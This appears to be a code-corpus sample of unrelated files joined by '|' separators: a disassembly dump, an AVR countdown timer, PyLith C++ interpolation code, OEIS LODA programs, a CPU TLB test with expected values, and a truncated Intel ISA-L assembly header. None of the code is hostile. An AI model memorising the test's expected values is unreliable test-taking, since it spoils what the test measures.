000335b4 <T_IMM_EXPECT34>:
335b4: 00 00 00 00 add r0,r0
000335b8 <T_IMM_EXPECT35>:
335b8: 00 00 00 00 add r0,r0
000335bc <T_IMM_EXPECT36>:
335bc: 00 00 00 04 add r0,r4
000335c0 <T_IMM_EXPECT37>:
335c0: 00 00 00 04 add r0,r4
000335c4 <T_IMM_EXPECT38>:
335c4: 00 00 00 04 add r0,r4
000335c8 <T_IMM_EXPECT39>:
335c8: 00 00 00 04 add r0,r4
000335cc <T_IMM_EXPECT40>:
335cc: 00 00 00 04 add r0,r4
000335d0 <T_IMM_EXPECT41>:
335d0: 00 00 00 04 add r0,r4
000335d4 <T_IMM_EXPECT42>:
335d4: 00 00 00 04 add r0,r4
000335d8 <T_IMM_EXPECT43>:
335d8: 00 00 00 04 add r0,r4
000335dc <T_IMM_EXPECT44>:
335dc: 00 00 00 00 add r0,r0
000335e0 <T_IMM_EXPECT45>:
335e0: 00 00 00 00 add r0,r0
000335e4 <T_IMM_EXPECT46>:
335e4: 00 00 00 00 add r0,r0
000335e8 <T_IMM_EXPECT47>:
335e8: 00 00 00 00 add r0,r0
000335ec <T_IMM_EXPECT48>:
335ec: 00 00 00 08 add r0,r8
000335f0 <T_IMM_EXPECT49>:
335f0: 00 00 00 08 add r0,r8
000335f4 <T_IMM_EXPECT50>:
335f4: 00 00 00 08 add r0,r8
000335f8 <T_IMM_EXPECT51>:
335f8: 00 00 00 08 add r0,r8
000335fc <T_IMM_EXPECT52>:
335fc: 00 00 00 08 add r0,r8
00033600 <T_IMM_EXPECT53>:
33600: 00 00 00 08 add r0,r8
00033604 <T_IMM_EXPECT54>:
33604: 00 00 00 08 add r0,r8
00033608 <T_IMM_EXPECT55>:
33608: 00 00 00 00 add r0,r0
0003360c <T_IMM_EXPECT56>:
3360c: 00 00 00 00 add r0,r0
00033610 <T_IMM_EXPECT57>:
33610: 00 00 00 00 add r0,r0
00033614 <T_IMM_EXPECT58>:
33614: 00 00 00 00 add r0,r0
00033618 <T_IMM_EXPECT59>:
33618: 00 00 00 00 add r0,r0
0003361c <T_IMM_EXPECT60>:
3361c: 00 00 00 10 add r0,r16
00033620 <T_IMM_EXPECT61>:
33620: 00 00 00 10 add r0,r16
00033624 <T_IMM_EXPECT62>:
33624: 00 00 00 10 add r0,r16
00033628 <T_IMM_EXPECT63>:
33628: 00 00 00 10 add r0,r16
0003362c <T_IMM_EXPECT64>:
3362c: 00 00 00 10 add r0,r16
00033630 <T_IMM_EXPECT65>:
33630: 00 00 00 10 add r0,r16
00033634 <T_IMM_EXPECT66>:
33634: 00 00 00 00 add r0,r0
00033638 <T_IMM_EXPECT67>:
33638: 00 00 00 00 add r0,r0
0003363c <T_IMM_EXPECT68>:
3363c: 00 00 00 00 add r0,r0
00033640 <T_IMM_EXPECT69>:
33640: 00 00 00 00 add r0,r0
00033644 <T_IMM_EXPECT70>:
33644: 00 00 00 00 add r0,r0
00033648 <T_IMM_EXPECT71>:
33648: 00 00 00 00 add r0,r0
0003364c <T_IMM_EXPECT72>:
3364c: 00 00 00 20 add r1,r0
00033650 <T_IMM_EXPECT73>:
33650: 00 00 00 20 add r1,r0
00033654 <T_IMM_EXPECT74>:
33654: 00 00 00 20 add r1,r0
00033658 <T_IMM_EXPECT75>:
33658: 00 00 00 20 add r1,r0
0003365c <T_IMM_EXPECT76>:
3365c: 00 00 00 20 add r1,r0
00033660 <T_IMM_EXPECT77>:
33660: 00 00 00 00 add r0,r0
00033664 <T_IMM_EXPECT78>:
33664: 00 00 00 00 add r0,r0
00033668 <T_IMM_EXPECT79>:
33668: 00 00 00 00 add r0,r0
0003366c <T_IMM_EXPECT80>:
3366c: 00 00 00 00 add r0,r0
00033670 <T_IMM_EXPECT81>:
33670: 00 00 00 00 add r0,r0
00033674 <T_IMM_EXPECT82>:
33674: 00 00 00 00 add r0,r0
00033678 <T_IMM_EXPECT83>:
33678: 00 00 00 00 add r0,r0
0003367c <T_IMM_EXPECT84>:
3367c: 00 00 00 40 add r2,r0
00033680 <T_IMM_EXPECT85>:
33680: 00 00 00 40 add r2,r0
00033684 <T_IMM_EXPECT86>:
33684: 00 00 00 40 add r2,r0
00033688 <T_IMM_EXPECT87>:
33688: 00 00 00 40 add r2,r0
0003368c <T_IMM_EXPECT88>:
3368c: 00 00 00 00 add r0,r0
00033690 <T_IMM_EXPECT89>:
33690: 00 00 00 00 add r0,r0
00033694 <T_IMM_EXPECT90>:
33694: 00 00 00 00 add r0,r0
00033698 <T_IMM_EXPECT91>:
33698: 00 00 00 00 add r0,r0
0003369c <T_IMM_EXPECT92>:
3369c: 00 00 00 00 add r0,r0
000336a0 <T_IMM_EXPECT93>:
336a0: 00 00 00 00 add r0,r0
000336a4 <T_IMM_EXPECT94>:
336a4: 00 00 00 00 add r0,r0
000336a8 <T_IMM_EXPECT95>:
336a8: 00 00 00 00 add r0,r0
000336ac <T_IMM_EXPECT96>:
336ac: 00 00 00 80 add r4,r0
000336b0 <T_IMM_EXPECT97>:
336b0: 00 00 00 80 add r4,r0
000336b4 <T_IMM_EXPECT98>:
336b4: 00 00 00 80 add r4,r0
000336b8 <T_IMM_EXPECT99>:
336b8: 00 00 00 00 add r0,r0
000336bc <T_IMM_EXPECT100>:
336bc: 00 00 00 00 add r0,r0
000336c0 <T_IMM_EXPECT101>:
336c0: 00 00 00 00 add r0,r0
000336c4 <T_IMM_EXPECT102>:
336c4: 00 00 00 00 add r0,r0
000336c8 <T_IMM_EXPECT103>:
336c8: 00 00 00 00 add r0,r0
000336cc <T_IMM_EXPECT104>:
336cc: 00 00 00 00 add r0,r0
000336d0 <T_IMM_EXPECT105>:
336d0: 00 00 00 00 add r0,r0
000336d4 <T_IMM_EXPECT106>:
336d4: 00 00 00 00 add r0,r0
000336d8 <T_IMM_EXPECT107>:
336d8: 00 00 00 00 add r0,r0
000336dc <T_IMM_EXPECT108>:
336dc: 00 00 01 00 add r8,r0
000336e0 <T_IMM_EXPECT109>:
336e0: 00 00 01 00 add r8,r0
000336e4 <T_IMM_EXPECT110>:
336e4: 00 00 00 00 add r0,r0
000336e8 <T_IMM_EXPECT111>:
336e8: 00 00 00 00 add r0,r0
000336ec <T_IMM_EXPECT112>:
336ec: 00 00 00 00 add r0,r0
000336f0 <T_IMM_EXPECT113>:
336f0: 00 00 00 00 add r0,r0
000336f4 <T_IMM_EXPECT114>:
336f4: 00 00 00 00 add r0,r0
000336f8 <T_IMM_EXPECT115>:
336f8: 00 00 00 00 add r0,r0
000336fc <T_IMM_EXPECT116>:
336fc: 00 00 00 00 add r0,r0
00033700 <T_IMM_EXPECT117>:
33700: 00 00 00 00 add r0,r0
00033704 <T_IMM_EXPECT118>:
33704: 00 00 00 00 add r0,r0
00033708 <T_IMM_EXPECT119>:
33708: 00 00 00 00 add r0,r0
0003370c <T_IMM_EXPECT120>:
3370c: 00 00 02 00 add r16,r0
00033710 <T_IMM_EXPECT121>:
33710: 00 00 00 00 add r0,r0
00033714 <T_IMM_EXPECT122>:
33714: 00 00 00 00 add r0,r0
00033718 <T_IMM_EXPECT123>:
33718: 00 00 00 00 add r0,r0
0003371c <T_IMM_EXPECT124>:
3371c: 00 00 00 00 add r0,r0
00033720 <T_IMM_EXPECT125>:
33720: 00 00 00 00 add r0,r0
00033724 <T_IMM_EXPECT126>:
33724: 00 00 00 00 add r0,r0
00033728 <T_IMM_EXPECT127>:
33728: 00 00 00 00 add r0,r0
0003372c <T_IMM_EXPECT128>:
3372c: 00 00 00 00 add r0,r0
00033730 <T_IMM_EXPECT129>:
33730: 00 00 00 00 add r0,r0
00033734 <T_IMM_EXPECT130>:
33734: 00 00 00 00 add r0,r0
00033738 <T_IMM_EXPECT131>:
33738: 00 00 00 00 add r0,r0
0003373c <T_IMM_EXPECT132>:
3373c: 00 00 00 00 add r0,r0
00033740 <T_IMM_EXPECT133>:
33740: 00 00 00 00 add r0,r0
00033744 <T_IMM_EXPECT134>:
33744: 00 00 00 00 add r0,r0
00033748 <T_IMM_EXPECT135>:
33748: 00 00 00 00 add r0,r0
0003374c <T_IMM_EXPECT136>:
3374c: 00 00 00 00 add r0,r0
00033750 <T_IMM_EXPECT137>:
33750: 00 00 00 00 add r0,r0
00033754 <T_IMM_EXPECT138>:
33754: 00 00 00 00 add r0,r0
00033758 <T_IMM_EXPECT139>:
33758: 00 00 00 00 add r0,r0
0003375c <T_IMM_EXPECT140>:
3375c: 00 00 00 00 add r0,r0
00033760 <T_IMM_EXPECT141>:
33760: 00 00 00 00 add r0,r0
セクション .stack の逆アセンブル:
000f0000 <STACK_INDEX>:
f0000: 00 00 00 00 add r0,r0
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; COUNTDOWN ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;This file is for storing the MAIN code used to control the countdown
;as seen on the Countdown, RESET Pot, and Find Pot screens. It simply
;moves the cursor to the desired location and prints (difficultyCount -
;counter) which is the current time remaining. It does a check if this
;value = 0, so we know if it has timed out.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Timer1OVF: ;This is a countdown timer (16-bit)
push yl
push yh
push temp
in temp, SREG
push temp
lds yl, counterTimer
lds yh, counterTimer+1
adiw Y, 1
sts counterTimer, yl
sts counterTimer+1, yh
ldi temp, high(30)
cpi yl, low(30)
cpc yh, temp
breq continueTimer1
rjmp endTimer1 ; fix for out of range branch
continueTimer1:
inc counter ;it has been 1 second
clear_datamem counterTimer
cpii screenStage, stage_countdown
breq countInitialCount ;for initial countdown
cpii screenStage, stage_pot_reset
breq countPotResetFind ;for RESET and FIND
cpii screenStage, stage_pot_find
breq countPotResetFind ;for RESET and FIND
rjmp endTimer1
countInitialCount:
ldi temp, counter_initial
sub temp, counter
cpi temp, 0 ;find time remaining
brne contInitialCount
ldii screenStage, stage_pot_reset ;change to POT reset screen
clr counter
clear_datamem counterTimer ;clear counter ready for POT reset screen
speakerBeepFor speaker500 ;beeeeeeeeeep
rcall randomizePotLocation
rjmp endTimer1
contInitialCount:
addi temp, '0'
do_lcd_command 0b11001100 ;shift cursor to where countdown is on screen, to make it smooth
do_lcd_data temp
do_lcd_data_i '.'
do_lcd_data_i '.'
do_lcd_data_i '.'
rjmp endTimer1
countPotResetFind:
mov temp, difficultyCount
sub temp, counter
cpi temp, 0
brne contPotResetFind
ldii screenStage, stage_lose ; change to POT timeout
rjmp endTimer1
contPotResetFind: ;continues the countPotRestFind code
speakerBeepFor speaker250 ;beep on decrement
cpii screenStage, stage_pot_find
brne countPotReset
do_lcd_command 0b11001011
rjmp epilogueTimer1
countPotReset:
do_lcd_command 0b11001011
rjmp epilogueTimer1
epilogueTimer1:
rcall asciiconv
rjmp endTimer1
endTimer1:
pop temp
out SREG, temp
pop temp
pop yh
pop yl
reti
|
// -*- C++ -*-
//
// ======================================================================
//
// Brad T. Aagaard, U.S. Geological Survey
// Charles A. Williams, GNS Science
// Matthew G. Knepley, University of Chicago
//
// This code was developed as part of the Computational Infrastructure
// for Geodynamics (http://geodynamics.org).
//
// Copyright (c) 2010-2017 University of California, Davis
//
// See COPYING for license information.
//
// ======================================================================
//
#include <portinfo>
#include "OutputSolnPoints.hh" // implementation of class methods
#include "DataWriter.hh" // USES DataWriter
#include "MeshBuilder.hh" // USES MeshBuilder
#include "pylith/topology/Mesh.hh" // USES Mesh
#include "pylith/topology/Fields.hh" // USES Fields
#include "pylith/topology/MeshOps.hh" // USES MeshOps::nondimensionalize()
#include "pylith/topology/Stratum.hh" // USES Stratum
#include "pylith/topology/VisitorMesh.hh" // USES VecVisitorMesh
#include "spatialdata/geocoords/CoordSys.hh" // USES CoordSys
#include "spatialdata/units/Nondimensional.hh" // USES Nondimensional
// ----------------------------------------------------------------------
// Constructor
pylith::meshio::OutputSolnPoints::OutputSolnPoints(void) :
_mesh(0),
_pointsMesh(0),
_interpolator(0)
{ // constructor
} // constructor
// ----------------------------------------------------------------------
// Destructor
pylith::meshio::OutputSolnPoints::~OutputSolnPoints(void)
{ // destructor
deallocate();
} // destructor
// ----------------------------------------------------------------------
// Deallocate PETSc and local data structures.
void
pylith::meshio::OutputSolnPoints::deallocate(void)
{ // deallocate
PYLITH_METHOD_BEGIN;
OutputManager::deallocate();
if (_interpolator) {
PetscErrorCode err = DMInterpolationDestroy(&_interpolator); PYLITH_CHECK_ERROR(err);
} // if
_mesh = 0; // :TODO: Use shared pointer
delete _pointsMesh; _pointsMesh = 0;
PYLITH_METHOD_END;
} // deallocate
// ----------------------------------------------------------------------
// Get mesh associated with points.
const pylith::topology::Mesh&
pylith::meshio::OutputSolnPoints::pointsMesh(void)
{ // pointsMesh
PYLITH_METHOD_BEGIN;
assert(_pointsMesh);
PYLITH_METHOD_RETURN(*_pointsMesh);
} // pointsMesh
// ----------------------------------------------------------------------
// Setup interpolator.
void
pylith::meshio::OutputSolnPoints::setupInterpolator(topology::Mesh* mesh,
const PylithScalar* points,
const int numPoints,
const int spaceDim,
const char* const* names,
const int numNames,
const spatialdata::units::Nondimensional& normalizer)
{ // setupInterpolator
PYLITH_METHOD_BEGIN;
assert(mesh);
assert(points);
assert(!_interpolator); // Insure clean starting point
_mesh = mesh;
// Create nondimensionalized array of point locations
const int size = numPoints * spaceDim;
scalar_array pointsNondim(size);
for (int i=0; i < size; ++i) {
pointsNondim[i] = points[i] / normalizer.lengthScale();
} // for
#if 0 // DEBUGGING
std::cout << "OUTPUT SOLN POINTS (dimensioned)" << std::endl;
for (int i=0; i < numPoints; ++i) {
for (int iDim=0; iDim < spaceDim; ++iDim) {
std::cout << " " << points[i*spaceDim+iDim];
} // for
std::cout << "\n";
} // for
#endif
const spatialdata::geocoords::CoordSys* csMesh = mesh->coordsys(); assert(csMesh);
assert(csMesh->spaceDim() == spaceDim);
// Setup interpolator object
PetscDM dmMesh = _mesh->dmMesh(); assert(dmMesh);
PetscErrorCode err = 0;
err = DMInterpolationCreate(_mesh->comm(), &_interpolator); PYLITH_CHECK_ERROR(err);
err = DMInterpolationSetDim(_interpolator, spaceDim); PYLITH_CHECK_ERROR(err);
err = DMInterpolationAddPoints(_interpolator, numPoints, (PetscReal*) &pointsNondim[0]); PYLITH_CHECK_ERROR(err);
const PetscBool pointsAllProcs = PETSC_TRUE;
err = DMInterpolationSetUp(_interpolator, dmMesh, pointsAllProcs); PYLITH_CHECK_ERROR(err);
// Create mesh corresponding to points.
const int meshDim = 0;
delete _pointsMesh; _pointsMesh = new topology::Mesh(meshDim); assert(_pointsMesh);
topology::MeshOps::createDMMesh(_pointsMesh, meshDim, _mesh->comm(), "points");
const int numPointsLocal = _interpolator->n;
PylithScalar* pointsLocal = NULL;
err = VecGetArray(_interpolator->coords, &pointsLocal); PYLITH_CHECK_ERROR(err);
scalar_array pointsArray(numPointsLocal*spaceDim); // Array of vertex coordinates for local mesh.
const int sizeLocal = numPointsLocal*spaceDim;
for (int i=0; i < sizeLocal; ++i) {
// Must scale by length scale because we gave interpolator nondimensioned coordinates
pointsArray[i] = pointsLocal[i]*normalizer.lengthScale();
} // for
int_array cells(numPointsLocal);
for (int i=0; i < numPointsLocal; ++i) {
cells[i] = i;
} // for
const int numCells = numPointsLocal;
const int numCorners = 1;
const bool interpolate = false;
const bool isParallel = true;
MeshBuilder::buildMesh(_pointsMesh, &pointsArray, numPointsLocal, spaceDim,
cells, numCells, numCorners, meshDim, interpolate, isParallel);
err = VecRestoreArray(_interpolator->coords, &pointsLocal); PYLITH_CHECK_ERROR(err);
// Set coordinate system and create nondimensionalized coordinates
_pointsMesh->coordsys(_mesh->coordsys());
topology::MeshOps::nondimensionalize(_pointsMesh, normalizer);
#if 0 // DEBUGGING
_pointsMesh->view("::ascii_info_detail");
#endif
if (!_fields) {
_fields = new topology::Fields(*_pointsMesh); assert(_fields);
} // if
// Copy station names. :TODO: Reorder to match output (pointsLocal).
_stations.resize(numPointsLocal);
for (int iLocal=0; iLocal < numPointsLocal; ++iLocal) {
// Find point in array of points to get index for station name.
for (int iAll=0; iAll < numPoints; ++iAll) {
const PylithScalar tolerance = 1.0e-6;
PylithScalar dist = 0.0;
for (int iDim=0; iDim < spaceDim; ++iDim) {
dist += pow(points[iAll*spaceDim+iDim] - pointsArray[iLocal*spaceDim+iDim], 2);
} // for
if (sqrt(dist) < tolerance) {
_stations[iLocal] = names[iAll];
break;
} // if
} // for
} // for
PYLITH_METHOD_END;
} // setupInterpolator
// ----------------------------------------------------------------------
// Prepare for output.
void
pylith::meshio::OutputSolnPoints::open(const topology::Mesh& mesh,
const int numTimeSteps,
const char* label,
const int labelId)
{ // open
PYLITH_METHOD_BEGIN;
assert(!label);
assert(!labelId);
assert(_pointsMesh);
OutputManager::open(*_pointsMesh, numTimeSteps, label, labelId);
PYLITH_METHOD_END;
} // open
// ----------------------------------------------------------------------
// Setup file for writing fields at time step.
void
pylith::meshio::OutputSolnPoints::openTimeStep(const PylithScalar t,
const topology::Mesh& mesh,
const char* label,
const int labelId)
{ // openTimeStep
PYLITH_METHOD_BEGIN;
assert(!label);
assert(!labelId);
assert(_pointsMesh);
OutputManager::openTimeStep(t, *_pointsMesh, label, labelId);
PYLITH_METHOD_END;
} // openTimeStep
// ----------------------------------------------------------------------
// Append finite-element vertex field to file.
void
pylith::meshio::OutputSolnPoints::appendVertexField(const PylithScalar t,
topology::Field& field,
const topology::Mesh& mesh)
{ // appendVertexField
PYLITH_METHOD_BEGIN;
assert(_mesh);
assert(_fields);
PetscDM pointsDMMesh = _pointsMesh->dmMesh(); assert(pointsDMMesh);
PetscErrorCode err;
PetscDM dmMesh = field.dmMesh(); assert(dmMesh);
topology::Stratum verticesStratum(dmMesh, topology::Stratum::DEPTH, 0);
const PetscInt vStart = verticesStratum.begin();
const PetscInt numVertices = verticesStratum.size();
PetscInt fiberDimLocal = 0;
if (numVertices > 0) {
topology::VecVisitorMesh fieldVisitor(field);
fiberDimLocal = fieldVisitor.sectionDof(vStart);
} // if
PetscInt fiberDim = 0;
MPI_Allreduce(&fiberDimLocal, &fiberDim, 1, MPIU_INT, MPI_MAX, field.mesh().comm());
assert(fiberDim > 0);
// Create field if necessary for interpolated values or recreate
// field if mismatch in size between buffer and field.
const std::string& fieldName = std::string(field.label()) + " (interpolated)";
if (!_fields->hasField(fieldName.c_str())) {
_fields->add(fieldName.c_str(), field.label());
} // if
topology::Field& fieldInterp = _fields->get(fieldName.c_str());
// The decision to reallocate a field must be collective
PetscInt reallocate = numVertices*fiberDim != fieldInterp.sectionSize();
PetscInt reallocateGlobal = 0;
err = MPI_Allreduce(&reallocate, &reallocateGlobal, 1, MPIU_INT, MPI_LOR, fieldInterp.mesh().comm()); PYLITH_CHECK_ERROR(err);
if (reallocateGlobal) {
fieldInterp.newSection(topology::FieldBase::VERTICES_FIELD, fiberDim);
fieldInterp.allocate();
} // if
fieldInterp.label(field.label());
fieldInterp.vectorFieldType(field.vectorFieldType());
fieldInterp.scale(field.scale());
fieldInterp.zeroAll();
#if 0 // uses context
const char* context = fieldName.c_str();
fieldInterp.createScatter(*_pointsMesh, context);
PetscVec fieldInterpVec = fieldInterp.vector(context); assert(fieldInterpVec);
err = DMInterpolationSetDof(_interpolator, fiberDim); PYLITH_CHECK_ERROR(err);
err = DMInterpolationEvaluate(_interpolator, dmMesh, field.localVector(), fieldInterpVec); PYLITH_CHECK_ERROR(err);
fieldInterp.scatterGlobalToLocal(context);
#else // eliminates use of context
err = DMInterpolationSetDof(_interpolator, fiberDim); PYLITH_CHECK_ERROR(err);
err = DMInterpolationEvaluate(_interpolator, dmMesh, field.localVector(), fieldInterp.localVector()); PYLITH_CHECK_ERROR(err);
#endif
OutputManager::appendVertexField(t, fieldInterp, *_pointsMesh);
PYLITH_METHOD_END;
} // appendVertexField
// ----------------------------------------------------------------------
// Append finite-element cell field to file.
void
pylith::meshio::OutputSolnPoints::appendCellField(const PylithScalar t,
topology::Field& field,
const char* label,
const int labelId)
{ // appendCellField
throw std::logic_error("OutputSolnPoints::appendCellField() not implemented.");
} // appendCellField
// ----------------------------------------------------------------------
// Write dataset with names of points to file.
void
pylith::meshio::OutputSolnPoints::writePointNames(void)
{ // writePointNames
PYLITH_METHOD_BEGIN;
assert(_writer);
_writer->writePointNames(_stations, *_pointsMesh);
PYLITH_METHOD_END;
} // writePointNames
// End of file
|
; A250660: Number of (6+1) X (n+1) 0..1 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing min(x(i,j),x(i-1,j)) in the j direction.
; 319,574,893,1276,1723,2234,2809,3448,4151,4918,5749,6644,7603,8626,9713,10864,12079,13358,14701,16108,17579,19114,20713,22376,24103,25894,27749,29668,31651,33698,35809,37984,40223,42526,44893,47324,49819,52378,55001,57688,60439,63254,66133,69076,72083,75154,78289,81488,84751,88078,91469,94924,98443,102026,105673,109384,113159,116998,120901,124868,128899,132994,137153,141376,145663,150014,154429,158908,163451,168058,172729,177464,182263,187126,192053,197044,202099,207218,212401,217648,222959,228334,233773,239276,244843,250474,256169,261928,267751,273638,279589,285604,291683,297826,304033,310304,316639,323038,329501,336028
mul $0,2
add $0,7
mul $0,8
sub $0,1
mul $0,4
add $0,3
pow $0,2
sub $0,49729
div $0,128
add $0,319
|
; A304160: a(n) = n^4 - 3*n^3 + 6*n^2 - 5*n + 2 (n >= 1).
; 1,8,41,142,377,836,1633,2906,4817,7552,11321,16358,22921,31292,41777,54706,70433,89336,111817,138302,169241,205108,246401,293642,347377,408176,476633,553366,639017,734252,839761,956258,1084481,1225192,1379177,1547246,1730233,1928996,2144417,2377402,2628881,2899808,3191161,3503942,3839177,4197916,4581233,4990226,5426017,5889752,6382601,6905758,7460441,8047892,8669377,9326186,10019633,10751056,11521817,12333302,13186921,14084108,15026321,16015042,17051777,18138056,19275433,20465486,21709817,23010052,24367841,25784858,27262801,28803392,30408377,32079526,33818633,35627516,37508017,39462002,41491361,43598008,45783881,48050942,50401177,52836596,55359233,57971146,60674417,63471152,66363481,69353558,72443561,75635692,78932177,82335266,85847233,89470376,93207017,97059502
mov $1,$0
sub $0,1
pow $1,2
add $1,2
add $0,$1
mul $1,$0
mov $0,$1
sub $0,1
|
; A033046: Sums of distinct powers of 9.
; Submitted by Christian Krause
; 0,1,9,10,81,82,90,91,729,730,738,739,810,811,819,820,6561,6562,6570,6571,6642,6643,6651,6652,7290,7291,7299,7300,7371,7372,7380,7381,59049,59050,59058,59059,59130,59131,59139,59140,59778,59779,59787,59788,59859,59860,59868,59869,65610,65611,65619,65620,65691,65692,65700,65701,66339,66340,66348,66349,66420,66421,66429,66430,531441,531442,531450,531451,531522,531523,531531,531532,532170,532171,532179,532180,532251,532252,532260,532261,538002,538003,538011,538012,538083,538084,538092,538093,538731
mov $2,1
lpb $0
mov $3,$0
div $0,2
mod $3,2
mul $3,$2
add $1,$3
mul $2,9
lpe
mov $0,$1
|
; A123358: Kekulé numbers for certain benzenoids (see the Cyvin-Gutman book for details).
; 1,10,125,1625,21250,278125,3640625,47656250,623828125,8166015625,106894531250,1399267578125,18316650390625,239768066406250,3138604736328125,41084869384765625,537807922363281250,7039997100830078125,92154758453369140625,1206321449279785156250,15790952777862548828125,206706255435943603515625
mul $0,2
add $0,1
seq $0,147748 ; Row sums of Riordan array ((1-3x+x^2)/(1-4x+3x^2), x(1-2x)/(1-4x+3x^2)).
div $0,2
|
; A212960: Number of (w,x,y) with all terms in {0,...,n} and |w-x| != |x-y|.
; 0,4,16,44,92,168,276,424,616,860,1160,1524,1956,2464,3052,3728,4496,5364,6336,7420,8620,9944,11396,12984,14712,16588,18616,20804,23156,25680,28380,31264,34336,37604,41072,44748,48636,52744,57076
mov $1,1
add $1,$0
pow $1,2
div $1,2
mov $2,$0
mul $2,$0
add $1,$2
mul $2,$0
add $1,$2
mov $0,$1
|
lc r4, 0x00000000
lc r5, 0x0000101f
lc r6, 0x00000000
tlbse r6, r4
lc r8, 0x40000000
lc r9, 0x0000101f
lc r10, 0x00000001
tlbse r10, r8
lc r11, 0xdeadbeef
lc r12, 0xc0000003
lc r13, 0xc0000003
st1 r11, r13, 0
halt
#@expected values
#r4 = 0x00000000
#r5 = 0x0000101f
#r6 = 0x00000000
#tlb 0:
# vpn = 0x00000
# os = 0x000
# ppn = 0x00001
# at = 0x01f
#r8 = 0x40000000
#r9 = 0x0000101f
#r10 = 0x00000001
#tlb 1:
# vpn = 0x40000
# os = 0x000
# ppn = 0x00001
# at = 0x01f
#r11 = 0xdeadbeef
#r12 = 0xc0000003
#r13 = 0xc0000003
#mem 0x00000003 = ef
#pc = 0x80000044
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; gf_vect_dot_prod_sse(len, vec, *g_tbls, **buffs, *dest);
;;;
%include "reg_sizes.asm"
%ifidn __OUTPUT_FORMAT__, elf64
%define arg0 rdi
%define arg1 rsi
%define arg2 rdx
%define arg3 rcx
%define arg4 r8
%define tmp r11
%define tmp2 r10
%define tmp3 r9
%define return rax
%macro SLDR 2
%endmacro
%define SSTR SLDR
%define PS 8
%define func(x) x:
%define FUNC_SAVE
%define FUNC_RESTORE
%endif
%ifidn __OUTPUT_FORMAT__, win64
%define arg0 rcx
%define arg1 rdx
%define arg2 r8
%define arg3 r9
%define arg4 r12 ; must be saved and loaded
%define tmp r11
%define tmp2 r10
%define tmp3 rdi ; must be saved and loaded
%define return rax
%macro SLDR 2
%endmacro
%define SSTR SLDR
%define PS 8
%define frame_size 2*8
%define arg(x) [rsp + frame_size + PS + PS*x]
%define func(x) proc_frame x
%macro FUNC_SAVE 0
rex_push_reg r12
push_reg rdi
end_prolog
mov arg4, arg(4)
%endmacro
%macro FUNC_RESTORE 0
pop rdi
pop r12
%endmacro
%endif
%ifidn __OUTPUT_FORMAT__, elf32
;;;================== High Address;
;;; arg4
;;; arg3
;;; arg2
;;; arg1
;;; arg0
;;; return
;;;<================= esp of caller
;;; ebp
;;;<================= ebp = esp
;;; esi
;;; edi
;;; ebx
;;;<================= esp of callee
;;;
;;;================== Low Address;
%define PS 4
%define LOG_PS 2
%define func(x) x:
%define arg(x) [ebp + PS*2 + PS*x]
%define trans ecx ;trans is for the variables in stack
%define arg0 trans
%define arg0_m arg(0)
%define arg1 trans
%define arg1_m arg(1)
%define arg2 arg2_m
%define arg2_m arg(2)
%define arg3 ebx
%define arg4 trans
%define arg4_m arg(4)
%define tmp edx
%define tmp2 edi
%define tmp3 esi
%define return eax
%macro SLDR 2 ;; stack load/restore
mov %1, %2
%endmacro
%define SSTR SLDR
%macro FUNC_SAVE 0
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov arg3, arg(3)
%endmacro
%macro FUNC_RESTORE 0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
%endmacro
%endif ; output formats
%define len arg0
%define vec arg1
%define mul_array arg2
%define src arg3
%define dest arg4
%define vec_i tmp2
%define ptr tmp3
%define pos return
%ifidn PS,4 ;32-bit code
%define vec_m arg1_m
%define len_m arg0_m
%define dest_m arg4_m
%endif
%ifndef EC_ALIGNED_ADDR
;;; Use Un-aligned load/store
%define XLDR movdqu
%define XSTR movdqu
%else
;;; Use Non-temporal load/stor
%ifdef NO_NT_LDST
%define XLDR movdqa
